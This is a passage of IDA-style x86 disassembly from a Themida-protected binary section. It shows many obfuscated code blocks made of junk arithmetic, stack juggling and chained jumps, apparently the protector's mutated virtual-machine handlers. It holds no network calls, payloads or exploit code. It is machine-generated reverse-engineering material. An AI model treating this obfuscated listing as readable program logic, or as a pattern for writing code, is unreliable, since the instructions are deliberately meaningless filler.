CODE XREF: Themida_:0054EB0Bj sub al, 0E9h add al, 66h pop ecx sub al, bl add al, 0FAh jmp loc_5509AD ; --------------------------------------------------------------------------- loc_553E77: ; CODE XREF: Themida_:00554E50j mov ecx, 302A2CA9h jmp loc_554996 ; --------------------------------------------------------------------------- loc_553E81: ; CODE XREF: Themida_:00559BBBj push ebx jmp loc_55A6E1 ; --------------------------------------------------------------------------- loc_553E87: ; CODE XREF: Themida_:0055B08Ej pop ebx push edx mov edx, 2862A55h neg edx add edx, 684D5EBBh sub eax, edx mov edx, [esp] add esp, 4 jmp loc_555DFF ; --------------------------------------------------------------------------- loc_553EA3: ; CODE XREF: Themida_:0055A19Dj pop esi jmp loc_55AF20 ; --------------------------------------------------------------------------- loc_553EA9: ; CODE XREF: Themida_:005564DEj mov ax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp push ebp sub esp, 4 mov [esp], edi push edx push ecx mov ecx, 6C965734h jmp loc_54FA96 ; --------------------------------------------------------------------------- loc_553EC8: ; CODE XREF: Themida_:0055A395j push edi mov edi, 0F1A8F972h mov ecx, edi pop edi add ecx, eax pop eax add edx, ecx pop ecx push 73E2h mov [esp], eax push ebp mov ebp, 2 mov eax, ebp mov ebp, [esp] jmp loc_5596EF ; --------------------------------------------------------------------------- loc_553EEF: ; CODE XREF: Themida_:005556D2j add esi, 4 xchg esi, [esp] jmp loc_54EC64 ; --------------------------------------------------------------------------- loc_553EFD: ; CODE XREF: Themida_:00551696j push edx mov dl, 90h push eax mov ah, 0E1h jmp loc_5511CD ; --------------------------------------------------------------------------- loc_553F08: ; CODE XREF: Themida_:0054F608j mov [esp], ecx mov ecx, 4 add [esp+4], ecx jmp loc_559891 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_553F28: ; CODE XREF: Themida_:0055B219j add ebx, 11C11833h pop small word ptr [eax] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_553F36: ; CODE XREF: Themida_:00559308j mov [esp], ebx jmp loc_558857 ; --------------------------------------------------------------------------- loc_553F3E: ; CODE XREF: Themida_:0054EED3j add ecx, ebx mov ebx, [esp] add esp, 4 push ebx jmp loc_553C8F ; --------------------------------------------------------------------------- loc_553F4C: ; CODE XREF: Themida_:00552EE5j push esi mov esi, 175567BFh add edi, esi pop esi pop ebp xchg edi, [esp] jmp loc_551243 ; --------------------------------------------------------------------------- loc_553F5E: ; CODE XREF: Themida_:00558A31j add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp mov ebp, 7CD73C51h xor [esp+4], ebp pop ebp jmp loc_552BB0 ; --------------------------------------------------------------------------- loc_553F94: ; CODE XREF: Themida_:00550794j mov esi, [esp] add esp, 4 jmp loc_558F73 ; --------------------------------------------------------------------------- loc_553F9F: ; CODE XREF: Themida_:005566FFj add esp, 4 jmp loc_550BF0 ; --------------------------------------------------------------------------- loc_553FA7: ; CODE XREF: Themida_:00554002j and [edi+1Ch], ebx mov ebx, [esp] push esi mov esi, esp push ebx jmp loc_554C58 ; --------------------------------------------------------------------------- loc_553FB6: ; CODE XREF: Themida_:005550CCj add eax, edx pop edx and eax, 7D3121F0h inc eax add eax, 1 sub eax, 1 shr eax, 7 sub eax, 0B401E447h jmp loc_54F0E1 ; --------------------------------------------------------------------------- loc_553FD4: ; CODE XREF: Themida_:0055786Fj sub ebx, 4C6213ECh pop edi add ebx, eax jmp loc_551D9F ; --------------------------------------------------------------------------- loc_553FE2: ; CODE XREF: Themida_:005556DAj add esp, 4 xchg esi, [esp] pop esp mov [esp], ecx mov ecx, 3BA943ADh sub [esp+4], ecx jmp loc_551436 ; --------------------------------------------------------------------------- loc_553FFA: ; CODE XREF: Themida_:005553E0j push edx mov ebx, [esp] add esp, 4 pop edx jmp loc_553FA7 ; --------------------------------------------------------------------------- loc_554007: ; CODE XREF: Themida_:0054F5C5j push 0C5F24F2h mov ecx, [esp] add esp, 4 mov edx, ecx jmp loc_555002 ; --------------------------------------------------------------------------- loc_55401C: ; CODE XREF: Themida_:00553B1Aj sub esi, 4 xor esi, [esp] xor [esp], esi jmp loc_55064B ; --------------------------------------------------------------------------- loc_55402D: ; CODE XREF: Themida_:005566A6j shl ebx, 2 or ebx, 34872999h shl ebx, 1 inc ebx sub ebx, 0D5700AC2h jmp loc_550594 ; --------------------------------------------------------------------------- loc_554044: ; CODE XREF: Themida_:0055303Dj sub esi, 5EA62D7h or esi, 408B287Fh shr esi, 5 sub esi, 0AD9DFF59h add edx, esi pop esi add edx, ebx sub edx, 5A58600Eh pop ebx sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp test cl, al pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55407C: ; CODE XREF: Themida_:0055442Dj add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push edx mov edx, esp sub esp, 4 mov [esp], ebx push 460F3B74h pop ebx push esi mov esi, 22E11A06h xchg edx, esi not edx xchg edx, esi or esi, 4DFA0ADEh add esi, 68104B71h sub ebx, esi pop esi sub edx, 25426DC8h add edx, ebx jmp loc_5503B5 ; --------------------------------------------------------------------------- loc_5540C3: ; CODE XREF: Themida_:00550279j add edx, ebp pop ebp xor edx, 0B5B34BF4h add eax, 32662425h sub eax, edx sub eax, 32662425h pop edx sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5540F3: ; CODE XREF: Themida_:0055A860j add cl, 0EDh add dl, cl jmp loc_55B0ED ; --------------------------------------------------------------------------- loc_5540FD: ; CODE XREF: Themida_:00552AFEj push esp pop ebx add ebx, 4 push edx push 2 pop edx jmp loc_5598D1 ; --------------------------------------------------------------------------- loc_554111: ; CODE XREF: Themida_:00554CF1j push eax mov eax, 50CD2AE4h sub esi, eax pop eax sub esi, edx add esi, 50CD2AE4h pop edx add eax, esi pop esi add eax, esi sub eax, 29107210h push dword ptr [esp] pop esi add esp, 4 xor ebx, eax push 119Eh mov [esp], ebp push 7EDCh mov [esp], eax pop ebp jmp loc_5584D8 ; --------------------------------------------------------------------------- loc_55414F: ; CODE XREF: Themida_:00551568j mov ebp, 4FB32E5Ch or ebp, 5F69361Fh push ebp neg dword ptr [esp] pop ebp xor ebp, 0A004C1A5h add ebx, ebp pop ebp add ebx, 4 push ebx jmp loc_55A3D9 ; --------------------------------------------------------------------------- loc_554171: ; CODE XREF: Themida_:0054F532j not dword ptr [esp] pop esi jmp loc_54FD20 ; --------------------------------------------------------------------------- loc_55417A: ; CODE XREF: Themida_:0055370Dj add esi, 526E7B40h sub edi, 4B741ADBh jmp loc_5532D6 ; --------------------------------------------------------------------------- loc_55418B: ; CODE XREF: Themida_:00555F67j pop edi sub esp, 4 mov [esp], ebp push esi mov esi, esp jmp loc_554D34 ; --------------------------------------------------------------------------- loc_55419D: ; CODE XREF: Themida_:00558190j mov bl, al pop eax pop ecx xor al, bl mov bx, [esp] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_559695 ; --------------------------------------------------------------------------- loc_5541B8: ; CODE XREF: Themida_:00557CADj sub ebx, ecx push esi mov esi, 53D85589h jmp loc_555B4F ; --------------------------------------------------------------------------- loc_5541C5: ; CODE XREF: Themida_:0055105Ej push ecx push 4B9B5219h pop ecx dec ecx jmp loc_552F2F ; --------------------------------------------------------------------------- loc_5541D2: ; CODE XREF: Themida_:0054F4AFj push dword ptr [esp] pop eax jmp loc_554C14 ; --------------------------------------------------------------------------- loc_5541DB: ; CODE XREF: Themida_:00555438j pop eax push 3999h mov [esp], ecx mov ecx, 0BDEFDBFDh add ebx, 766B16F0h sub ebx, 23E46BCEh add ebx, ecx add ebx, 23E46BCEh sub ebx, 766B16F0h mov ecx, [esp] add esp, 4 and eax, ebx mov ebx, [esp] push edx mov edx, esp jmp loc_55296F ; --------------------------------------------------------------------------- loc_554216: ; CODE XREF: Themida_:0055045Aj add bl, ch sub bl, 71h pop ecx push ecx push ebx mov bl, 9Fh push ax jmp loc_5573D4 ; --------------------------------------------------------------------------- loc_554227: ; CODE XREF: Themida_:00552956j mov esi, 3EA07B0Ah push ebx mov ebx, 12751E7h add eax, ebx pop ebx jmp loc_552BDE ; --------------------------------------------------------------------------- loc_55423A: ; CODE XREF: Themida_:00550587j push ebx jmp loc_556F38 ; --------------------------------------------------------------------------- loc_554240: ; CODE XREF: Themida_:0055977Aj add eax, ebx sub eax, 795328DCh push ebp mov ebp, esp push ecx jmp loc_54FEB0 ; --------------------------------------------------------------------------- loc_554250: ; CODE XREF: Themida_:005589B6j mov esi, 78E33F0Fh sub dword ptr [esp+8], 45DA0FEFh sub [esp+8], esi add dword ptr [esp+8], 45DA0FEFh jmp loc_550AEC ; --------------------------------------------------------------------------- loc_55426E: ; CODE XREF: Themida_:00553A75j push ecx mov ecx, 4 add edi, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edx push ebp push esi mov esi, 692644E9h jmp loc_55617D ; --------------------------------------------------------------------------- loc_55428E: ; CODE XREF: Themida_:00556456j mov edx, 4 add edi, edx mov edx, [esp] add esp, 4 jmp loc_552DAB ; --------------------------------------------------------------------------- loc_5542A3: ; CODE XREF: Themida_:0054FC5Ej push ebp mov ebp, 4 add edi, ebp mov ebp, [esp] add esp, 4 jmp loc_54EB67 ; --------------------------------------------------------------------------- loc_5542B9: ; CODE XREF: Themida_:005561A3j pop edx push ecx mov cl, 0CFh sub bl, cl jmp loc_554E9E ; --------------------------------------------------------------------------- loc_5542C4: ; CODE XREF: Themida_:00557B70j add edx, ecx mov ecx, [esp] add esp, 4 jmp loc_5554A3 ; --------------------------------------------------------------------------- loc_5542D4: ; CODE XREF: Themida_:0054F0DCj mov [esp], ecx jmp loc_550808 ; --------------------------------------------------------------------------- loc_5542DC: ; CODE XREF: Themida_:00550B06j add eax, ebp jmp loc_557CE2 ; --------------------------------------------------------------------------- loc_5542E3: ; CODE XREF: Themida_:00553BD0j add edi, 4 xchg edi, [esp] pop esp jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5542F2: ; CODE XREF: Themida_:0055AAE7j add ebp, 0D4EACE21h sub ecx, 4BB52115h sub ecx, ebp add ecx, 4BB52115h pop ebp mov [ecx], al mov ecx, [esp] add esp, 4 jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_554314: ; CODE XREF: Themida_:00552A01j pop edx add edx, 4 sub esp, 4 jmp loc_54EE88 ; --------------------------------------------------------------------------- loc_554326: ; CODE XREF: Themida_:00558085j sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] jmp loc_550A29 ; --------------------------------------------------------------------------- loc_554345: ; CODE XREF: Themida_:00554DB2j mov eax, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi jmp loc_55740D ; --------------------------------------------------------------------------- loc_554356: ; CODE XREF: Themida_:00557B32j add ecx, 55C130C2h xor ecx, 0E47D9219h jmp loc_553BD5 ; --------------------------------------------------------------------------- loc_554367: ; CODE XREF: Themida_:00555B9Fj pop esi xchg edx, [esp] mov esp, [esp] add edx, 597E5860h jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_554379: ; CODE XREF: Themida_:00550A8Ej add ebp, 21CE7E80h inc ebp or ebp, 5CD7CB7h neg ebp inc ebp xor ebp, 3D3F1FE4h sub ecx, ebp pop ebp xor edx, ecx pop ecx mov eax, edx pop edx jmp loc_555BA4 ; --------------------------------------------------------------------------- loc_55439D: ; CODE XREF: Themida_:00555226j xor esi, [esp] pop esp mov ax, [esp] push edi mov edi, esp add edi, 4 push 664Dh mov [esp], edx push 2D5Dh mov [esp], edi push ebp push 6372499h pop ebp jmp loc_554612 ; --------------------------------------------------------------------------- loc_5543CA: ; CODE XREF: Themida_:0054F487j add esp, 4 add ebx, 4 push eax mov eax, 2 push ebp mov ebp, 0C8C21D1h shr ebp, 5 jmp loc_558E4F ; --------------------------------------------------------------------------- loc_5543E7: ; CODE XREF: Themida_:00556A99j add edx, eax jmp loc_55A516 ; --------------------------------------------------------------------------- loc_5543EE: ; CODE XREF: Themida_:00554C33j add eax, 4 add eax, 4 xchg eax, [esp] pop esp push edi mov edi, 4 add esi, edi pop edi jmp loc_554BAF ; --------------------------------------------------------------------------- loc_554408: ; CODE XREF: Themida_:0055AB35j and eax, edx jmp loc_54FAA6 ; --------------------------------------------------------------------------- loc_55440F: ; CODE XREF: Themida_:00553D6Fj mov [esp], esi push 1 push dword ptr [esp] jmp loc_551B4A ; --------------------------------------------------------------------------- loc_55441F: ; CODE XREF: Themida_:0054F39Bj or eax, 5525420Ah inc eax add eax, 80122115h add edi, eax pop eax jmp loc_55407C ; --------------------------------------------------------------------------- loc_554432: ; CODE XREF: Themida_:005591C7j pop esp mov edx, [esp] add esp, 4 jmp loc_556325 ; --------------------------------------------------------------------------- loc_554441: ; CODE XREF: Themida_:00559291j not edi add edi, 0FFFFFFFFh inc edi and edi, 2E8202Eh xor edi, 2C00004h add edx, edi mov edi, [esp] add esp, 4 add edx, 2 xor edx, [esp] jmp loc_553461 ; --------------------------------------------------------------------------- loc_55446C: ; CODE XREF: Themida_:00552EDDj add eax, 1D055943h push edi mov edi, 67AF533Fh xor edi, 6E223C6Bh and edi, 53D613A8h push ebp mov ebp, 37125546h or edi, ebp jmp loc_550F4B ; --------------------------------------------------------------------------- loc_554490: ; CODE XREF: Themida_:00559712j xchg ecx, [esp] pop esp push 1031h mov [esp], ebp mov ebp, esp jmp loc_559E07 ; --------------------------------------------------------------------------- loc_5544A3: ; CODE XREF: Themida_:0055A203j push esi push ebx mov ebx, 71E80F5Bh shl ebx, 6 shr ebx, 7 or ebx, 2095092Bh shr ebx, 8 not ebx xor ebx, 0FFDF0AF4h mov esi, ebx pop ebx add edi, esi pop esi xchg edi, [esp] pop esp jmp loc_550ACB ; --------------------------------------------------------------------------- loc_5544D0: ; CODE XREF: Themida_:00559CD8j add esi, 4 add esi, 4 xchg esi, [esp] pop esp and al, dl pop dx jmp loc_55701C ; --------------------------------------------------------------------------- loc_5544E6: ; CODE XREF: Themida_:00550FCEj sub ebx, 5EF606EAh pop edx xchg ebx, [esp] jmp loc_5513EA ; --------------------------------------------------------------------------- mov cx, [esp] push ebx jmp loc_55A67A ; --------------------------------------------------------------------------- loc_5544FF: ; CODE XREF: Themida_:00559FA9j mov edi, eax jmp loc_559CB4 ; --------------------------------------------------------------------------- loc_554506: ; CODE XREF: Themida_:00551772j push 6550h mov [esp], edx jmp loc_5555C1 ; --------------------------------------------------------------------------- loc_554513: ; CODE XREF: Themida_:00552F55j pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx mov bh, 47h neg bh sub esp, 2 mov [esp], ax push small 6D08h mov [esp], cx mov ch, 2Fh jmp loc_55285E ; --------------------------------------------------------------------------- loc_55453C: ; CODE XREF: Themida_:005554C6j neg eax push eax jmp loc_559613 ; --------------------------------------------------------------------------- loc_554544: ; CODE XREF: Themida_:0054EA90j mov [esp], ebx mov ebx, 4 add esi, ebx pop ebx push ebp mov ebp, 133F3C86h shr ebp, 1 and ebp, 6D2424F6h add ebp, 562442EEh shl ebp, 6 shr ebp, 5 sub ebp, 6508E5Eh push ecx mov ecx, 16821DBBh sub esi, ecx pop ecx add esi, ebp add esi, 16821DBBh pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5504F6 ; --------------------------------------------------------------------------- loc_55458F: ; CODE XREF: Themida_:0054ED8Fj pop eax jmp loc_55A48D ; --------------------------------------------------------------------------- loc_554595: ; CODE XREF: Themida_:0054F43Ej mov edi, 2 add ebp, 2BF312D6h add ebp, 68C72649h add ebp, edi sub ebp, 68C72649h push edi mov edi, 67DF5D62h push esi mov esi, 66A51BB5h add edi, 370B4FB2h add edi, esi sub edi, 370B4FB2h pop esi shl edi, 4 add edi, 1 xor edi, 0C3B483A7h sub ebp, edi pop edi pop edi xchg ebp, [esp] mov esp, [esp] jmp loc_555AB8 ; --------------------------------------------------------------------------- loc_5545E4: ; CODE XREF: Themida_:0054F3F5j mov ebp, [esp] push edx mov edx, esp jmp loc_5546EF ; --------------------------------------------------------------------------- loc_5545EF: ; CODE XREF: Themida_:00559E23j mov cl, 0EFh add cl, 0A8h jmp loc_5501F0 ; --------------------------------------------------------------------------- xor [esp], ebx xor ebx, [esp] xor [esp], ebx push 2747h mov [esp], ebx xor [esp], ebx jmp loc_54F1CC ; --------------------------------------------------------------------------- loc_554612: ; CODE XREF: Themida_:005543C5j sub ebp, 6372497h jmp loc_551938 ; --------------------------------------------------------------------------- loc_55461D: ; CODE XREF: Themida_:00556B99j mov ebp, 3D4903BBh mov ecx, 3D4903BFh sub ecx, ebp pop ebp add ebx, 1B764E1h sub ebx, ecx push 235Dh mov [esp], ecx jmp loc_5546D2 ; --------------------------------------------------------------------------- loc_55463F: ; CODE XREF: Themida_:0055AAC8j add eax, edx mov edx, [esp] add esp, 4 push edx mov edx, 499F641Bh push ebp push esi jmp loc_553D49 ; --------------------------------------------------------------------------- loc_554654: ; CODE XREF: Themida_:00553A50j xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], cx jmp loc_551813 ; --------------------------------------------------------------------------- loc_554666: ; CODE XREF: Themida_:0055A9FFj mov eax, esp jmp loc_55A3E6 ; --------------------------------------------------------------------------- loc_55466D: ; CODE XREF: Themida_:00550F79j add ebp, esi mov esi, [esp] add esp, 4 push ebx mov ebx, 2 add ebp, ebx pop ebx xor ebp, [esp] jmp loc_551D01 ; --------------------------------------------------------------------------- mov ecx, [esp] push 400Bh mov [esp], eax jmp loc_55B008 ; --------------------------------------------------------------------------- loc_554699: ; CODE XREF: Themida_:0055B167j mov ebp, ebx jmp loc_555354 ; --------------------------------------------------------------------------- loc_5546A0: ; CODE XREF: Themida_:0054EB75j inc ecx jmp loc_5563FD ; --------------------------------------------------------------------------- loc_5546A6: ; CODE XREF: Themida_:00554754j pop esi xchg edx, [esp] pop esp sar word ptr [esp], cl pushf jmp loc_557837 ; --------------------------------------------------------------------------- loc_5546B5: ; CODE XREF: Themida_:005522D7j mov dh, 0C4h push 5FFh jmp loc_5512FC ; --------------------------------------------------------------------------- loc_5546C1: ; CODE XREF: Themida_:00551536j push esi jmp loc_55AA04 ; --------------------------------------------------------------------------- loc_5546C7: ; CODE XREF: Themida_:0055AFC8j mov ebp, 45426482h inc ebp jmp loc_54ED4E ; --------------------------------------------------------------------------- loc_5546D2: ; CODE XREF: Themida_:0055463Aj mov ecx, 27449EDh dec ecx jmp loc_557E9A ; --------------------------------------------------------------------------- mov ax, [esp] push 7DD1h mov [esp], ecx push esp jmp loc_5536E2 ; --------------------------------------------------------------------------- loc_5546EF: ; CODE XREF: Themida_:005545EAj add edx, 4 jmp loc_54FC7A ; --------------------------------------------------------------------------- loc_5546FA: ; CODE XREF: Themida_:00559638j and ecx, 2D3900A0h jmp loc_556EAB ; --------------------------------------------------------------------------- loc_554705: ; CODE XREF: Themida_:00555757j push 64F9h mov [esp], edi push ecx push 536F41DCh mov ecx, [esp] add esp, 4 jmp loc_556201 ; --------------------------------------------------------------------------- loc_554721: ; CODE XREF: Themida_:00556AB7j neg ebx sub ebx, 9D1AC32Ch sub edi, ebx jmp loc_556728 ; --------------------------------------------------------------------------- loc_554730: ; CODE XREF: Themida_:0055B0E8j xor [esp], edx xor edx, [esp] pop esp jmp loc_5523C0 ; --------------------------------------------------------------------------- loc_55473C: ; CODE XREF: Themida_:00551373j pop ebp inc eax sub esp, 4 mov [esp], edi push eax push 5DDB765Bh mov eax, [esp] jmp loc_552355 ; --------------------------------------------------------------------------- loc_554752: ; CODE XREF: Themida_:0054FD6Fj add edx, esi jmp loc_5546A6 ; --------------------------------------------------------------------------- loc_554759: ; CODE XREF: Themida_:005555A7j push edx mov edx, 75B240F5h jmp loc_54F9BA ; --------------------------------------------------------------------------- loc_554764: ; CODE XREF: Themida_:00558198j mov [esp], ebp push 47A8h push esp jmp loc_550F64 ; --------------------------------------------------------------------------- loc_554772: ; CODE XREF: Themida_:00553BBDj push ebx add dword ptr [esp], 270315FCh pop edi sub edi, 270315FCh pop ebx jmp loc_5533BA ; --------------------------------------------------------------------------- loc_554787: ; CODE XREF: Themida_:005522BAj inc cx add cx, 0BBEEh sub esp, 2 mov [esp], bx mov bx, 43DEh sub ax, bx pop bx sub ax, 643h sub ax, 5601h jmp loc_54EFB6 ; --------------------------------------------------------------------------- loc_5547AB: ; CODE XREF: Themida_:0055AFE7j mov [esp], edx mov edx, 1CE24E3Bh add dword ptr [esp+4], 64F35567h sub [esp+4], edx sub dword ptr [esp+4], 64F35567h jmp loc_558989 ; --------------------------------------------------------------------------- loc_5547CC: ; CODE XREF: Themida_:00551014j sub ebx, eax sub ebx, 10DA5FB2h push edx mov edx, 300C35EEh jmp loc_554A2B ; --------------------------------------------------------------------------- loc_5547DF: ; CODE XREF: Themida_:0054F263j pop esp mov ax, [esp] jmp loc_557012 ; --------------------------------------------------------------------------- loc_5547E9: ; CODE XREF: Themida_:0055ACF1j push esi mov esi, 0 sub esi, ebx jmp loc_559200 ; --------------------------------------------------------------------------- loc_5547F6: ; CODE XREF: Themida_:005533E5j push 6AB6h mov [esp], ecx mov ch, 0E0h xor ch, 7Fh sub al, ch mov ecx, [esp] add esp, 4 add al, 6Bh sub al, bl sub al, 6Bh add al, 9Fh sub esp, 4 mov [esp], edx mov dh, 60h add al, 38h add al, dh push bx mov bh, 38h sub al, bh pop bx pop edx push ecx mov cl, 28h push edx push eax mov al, 58h shr al, 3 inc al add al, 76h dec al jmp loc_55A991 ; --------------------------------------------------------------------------- mov ax, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx jmp loc_551A70 ; --------------------------------------------------------------------------- push small 3DE2h mov [esp], sp push ebp push esp pop ebp add ebp, 4 sub ebp, 2 xchg ebp, [esp] mov esp, [esp] mov [esp], bp jmp loc_55AB93 ; --------------------------------------------------------------------------- loc_55487E: ; CODE XREF: Themida_:0055398Bj mov eax, 1C5E686Bh push ebx mov ebx, 0C5C00D9h jmp loc_551870 ; --------------------------------------------------------------------------- loc_55488E: ; CODE XREF: Themida_:005507DAj mov ebx, esp push 104Fh mov [esp], edx mov edx, 4 add ebx, edx jmp loc_558343 ; --------------------------------------------------------------------------- loc_5548A4: ; CODE XREF: Themida_:0054FE2Aj add edx, 0F3BD3AF5h sub ebx, edx pop edx add ebx, edx jmp loc_55493C ; --------------------------------------------------------------------------- loc_5548B4: ; CODE XREF: Themida_:0055A619j push 72D6h mov [esp], ecx mov ecx, 47256A28h or edi, ecx push dword ptr [esp] pop ecx push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push 24D0h mov [esp], esi mov esi, 8848A5C1h add edi, esi pop esi and eax, edi pop edi or eax, eax jz loc_553400 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx jmp loc_552397 ; --------------------------------------------------------------------------- loc_554901: ; CODE XREF: Themida_:00553367j add bl, 97h movzx eax, al push dword ptr [edi+eax*4] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_55490F: ; CODE XREF: Themida_:00550AB2j push esi mov esi, 4 jmp loc_559DD5 ; --------------------------------------------------------------------------- loc_55491A: ; CODE XREF: Themida_:005549ABj mov [esp], ebx mov ebx, esp push ecx push edi mov edi, 180C196Ch jmp loc_54F15B ; --------------------------------------------------------------------------- loc_55492B: ; CODE XREF: Themida_:00551576j add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_555454 ; --------------------------------------------------------------------------- loc_55493C: ; CODE XREF: Themida_:005548AFj push eax mov eax, 5BBF5047h add ebx, eax pop eax pop edx xchg ebx, [esp] mov esp, [esp] jmp loc_54FAFB ; --------------------------------------------------------------------------- loc_554951: ; CODE XREF: Themida_:005574E6j push dword ptr [esp] pop esi add esp, 4 jmp loc_5509D7 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_54EEA6 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_554977: ; CODE XREF: Themida_:005590F8j mov ebx, 4 mov esi, ebx pop ebx jmp loc_559E98 ; --------------------------------------------------------------------------- loc_554984: ; CODE XREF: Themida_:0054FCBEj pop esi add ecx, 0FFFFFFFFh shl ecx, 8 sub esp, 4 jmp loc_554C63 ; --------------------------------------------------------------------------- loc_554996: ; CODE XREF: Themida_:00553E7Cj push edx jmp loc_553C29 ; --------------------------------------------------------------------------- loc_55499C: ; CODE XREF: Themida_:005590D4j add al, 0Eh add al, dh sub al, 0Eh mov dx, [esp] push 508Ch jmp loc_55491A ; --------------------------------------------------------------------------- loc_5549B0: ; CODE XREF: Themida_:00555B98j pop eax jmp loc_54ECB4 ; --------------------------------------------------------------------------- loc_5549B6: ; CODE XREF: Themida_:0055881Aj push edi dec dword ptr [esp] pop edi jmp loc_553067 ; --------------------------------------------------------------------------- loc_5549C0: ; CODE XREF: Themida_:00554B71j sub ebp, 611C0A42h mov edi, [esp] push esi jmp loc_5501D5 ; --------------------------------------------------------------------------- loc_5549CF: ; CODE XREF: Themida_:00550A76j add ebp, 4 sub ebp, 4 jmp loc_5507F4 ; --------------------------------------------------------------------------- loc_5549E0: ; CODE XREF: Themida_:0055892Bj pop edi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_557C38 ; --------------------------------------------------------------------------- loc_5549F3: ; CODE XREF: Themida_:00552D1Cj add esp, 4 sub ebx, eax pop eax sub ebx, eax push edi mov edi, 62980067h add ebx, edi pop edi mov dx, [esp] sub esp, 4 mov [esp], edx mov edx, esp push edi mov edi, 4 jmp loc_5566A0 ; --------------------------------------------------------------------------- loc_554A1E: ; CODE XREF: Themida_:00551BE1j add esi, eax jmp loc_55873A ; --------------------------------------------------------------------------- loc_554A25: ; CODE XREF: Themida_:0055178Cj pop edx jmp loc_555DF0 ; --------------------------------------------------------------------------- loc_554A2B: ; CODE XREF: Themida_:005547DAj inc edx inc edx jmp loc_5564C4 ; --------------------------------------------------------------------------- loc_554A32: ; CODE XREF: Themida_:005582F8j dec ebp shr ebp, 5 push edx mov edx, 349D043Bh jmp loc_5556AA ; --------------------------------------------------------------------------- loc_554A41: ; CODE XREF: Themida_:00553D1Ej pop esi add ebx, eax jmp loc_556EB7 ; --------------------------------------------------------------------------- loc_554A49: ; CODE XREF: Themida_:005572FBj push 1BEDh mov [esp], ebx mov ebx, 4 push eax push ebp mov ebp, 3719582Fh not ebp not ebp jmp loc_5574EB ; --------------------------------------------------------------------------- loc_554A66: ; CODE XREF: Themida_:00559682j add edx, 71615EE7h jmp loc_55753C ; --------------------------------------------------------------------------- loc_554A71: ; CODE XREF: Themida_:00556F4Aj push esp pop eax add eax, 4 add eax, 4 jmp loc_5539AD ; --------------------------------------------------------------------------- loc_554A80: ; CODE XREF: Themida_:00550869j mov esp, [esp] mov [esp], ax jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_554A8C: ; CODE XREF: Themida_:00552B39j push 32525CDAh pop eax jmp loc_54EE09 ; --------------------------------------------------------------------------- loc_554A97: ; CODE XREF: Themida_:00551269j mov [esp], esi push esp pop esi add esi, 4 add esi, 2 xchg esi, [esp] mov esp, [esp] rol word ptr [esp], cl pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_554AB8: ; CODE XREF: Themida_:0055032Fj add esi, ecx add esi, 5B045127h pop ecx jmp loc_552CCE ; --------------------------------------------------------------------------- loc_554AC6: ; CODE XREF: Themida_:00550D75j add edx, 4 push edx push dword ptr [esp+4] pop edx jmp loc_550EBE ; --------------------------------------------------------------------------- loc_554AD7: ; CODE XREF: Themida_:0054FB4Dj pop ecx add esp, 4 add esp, 4 push edx push eax sub esp, 4 mov [esp], edx mov dh, 84h jmp loc_553D23 ; --------------------------------------------------------------------------- loc_554AF6: ; CODE XREF: Themida_:005582C4j or ebp, 4E27569Dh push ebx mov ebx, 404F710Dh and ebp, ebx pop ebx or ebp, 389851CEh jmp loc_559B7D ; --------------------------------------------------------------------------- loc_554B10: ; CODE XREF: Themida_:0054ED88j add eax, 4 jmp loc_54EBD6 ; --------------------------------------------------------------------------- loc_554B1A: ; CODE XREF: Themida_:005508B1j push edx mov edx, 1A0310B6h sub edx, 47FBCB30h jmp loc_54F707 ; --------------------------------------------------------------------------- loc_554B2B: ; CODE XREF: Themida_:0055605Bj pop edi add edi, 4 sub edi, 4 jmp loc_54FBDC ; --------------------------------------------------------------------------- loc_554B3A: ; CODE XREF: Themida_:005598C4j sub dword ptr [esp], 3B2211D8h sub dword ptr [esp], 1BC63A46h add dword ptr [esp], 6A1F5F31h add [esp], eax sub dword ptr [esp], 6A1F5F31h push ebx mov ebx, 1BC63A46h add [esp+4], ebx pop ebx push ecx mov ecx, 3B2211D8h jmp loc_556B62 ; --------------------------------------------------------------------------- loc_554B6F: ; CODE XREF: Themida_:005573BDj add ebp, edi jmp loc_5549C0 ; --------------------------------------------------------------------------- loc_554B76: ; CODE XREF: Themida_:00553431j add esp, 4 push esi jmp loc_5552E1 ; --------------------------------------------------------------------------- loc_554B7F: ; CODE XREF: Themida_:00556178j pop edx xchg ebx, [esp] pop esp loc_554B84: ; CODE XREF: Themida_:0054F3B4j push 6D7Eh mov [esp], esi mov esi, ebx push 3FAFh mov [esp], esi jmp loc_550B4D ; --------------------------------------------------------------------------- loc_554B9B: ; CODE XREF: Themida_:00556CECj mov 